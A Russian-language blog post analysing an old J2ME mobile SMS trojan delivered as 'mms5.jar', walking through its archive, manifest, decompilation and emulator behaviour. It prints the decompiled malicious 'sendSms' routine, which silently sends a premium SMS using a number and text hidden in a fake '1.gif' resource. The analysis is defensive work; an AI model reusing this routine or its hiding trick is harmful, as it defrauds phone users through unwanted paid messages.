Технологии безопасности

Сайт посвященный вопросам безопасности

Исследование мобильного jar трояна

Бывает так, что вам приходит смс следующего содержания: «Вам пришло MMS-сообщение, которое можно посмотреть по ссылке: …» Хотя сейчас мобильные вирусы уже полностью переключились на Android-устройства, все же остались старинные «динозавры», которые до сих пор терроризируют мирных жителей.

В мои руки попал файл «mms5.jar», который был мгновенно детектирован Антивирусов Касперского как «троянская программа Trojan-SMS.J2ME.Smmer.f». Его мы и разберем подробно.

Файл с именем «mms5.jar» является архивом формата «zip», в котором содержатся файлы:

Исследование мобильного jar трояна — 1Исследование мобильного jar трояна — 1

Необходимым условием для исполнения программы, содержащейся в архиве с именем «mms5.jar», является наличие в архиве файла с именем «manifest.mf» в каталоге «meta-inf».

Исследование мобильного jar трояна — 2Исследование мобильного jar трояна — 2

В соответствии со значением параметров «MicroEdition-Configuration» и «MicroEdition-Profile», указанных в файле с именем «manifest.inf», можно сделать вывод о том, что программа, содержащаяся в файле с именем «mms5.jar», предназначена для мобильных телефонов и карманных персональных компьютеров.

С помощью декомпилятора «Fernflower» был декомпилирован файл «mmsposter.class», содержащийся в архиве «mms5.jar».

Далее при помощи «JAVA ME SDK» программа, полученная в результате декомпиляции, была откомпилирована и запущена. При этом в эмуляторе мобильного телефона запустилось приложение с именем «ОТКРЫТКА». При нажатии на кнопку «Нет» приложение «ОТКРЫТКА» завершает свою работу.

Исследование мобильного jar трояна — 3Исследование мобильного jar трояна — 3 Исследование мобильного jar трояна — 4Исследование мобильного jar трояна — 4

При нажатии на кнопку «Да» происходит запуск функции «sendSms», при успешном выполнении которой на экран эмулятора выводится окно, в котором приведена картинка с поцелуем.

Вредоносная функция «sendSms»:

public boolean sendSms() {
boolean flag = true;
if(this.isRecordstoreExists()) {
return flag;
} else {
try {
int ex = 0;
String s1 = this.getResourceText("/1.gif");
int i;
while((i = s1.indexOf("[", ex)) >= ex) {
int crs = s1.indexOf(":", i);
int l;
ex = l = s1.indexOf("]", crs);
String obj = s1.substring(i + 1, crs);
String s = s1.substring(crs + 1, l);
TextMessage textmessage;
MessageConnection obj1;
textmessage = (TextMessage)((MessageConnection)(obj1 = (MessageConnection)Con
nector.open((String)("sms://" + obj)))).newMessage("text")).setPayloadText(s);
((MessageConnection)((MessageConnection)obj1)).send(textmessage);
((MessageConnection)((MessageConnection)obj1)).close();
}
boolean crs1 = this.createRecordstore();
if(crs1) {
System.out.println("Recordstore Created");
}
} catch (SecurityException var10) {
flag = false;
} catch (Exception var11) {
flag = false;
var11.printStackTrace();
}
return flag;
}
}

В ходе выполнения функции «sendSms» происходит попытка отправки смс-сообщения на номер «1350» с текстом «4969991 543».

Номер «1350» и текст «4969991 543» берутся из файла с именем «1.gif».

[1350:4969991 543]

В итоге просмотр этой милой картинки может обойтись вам в 300 рублей.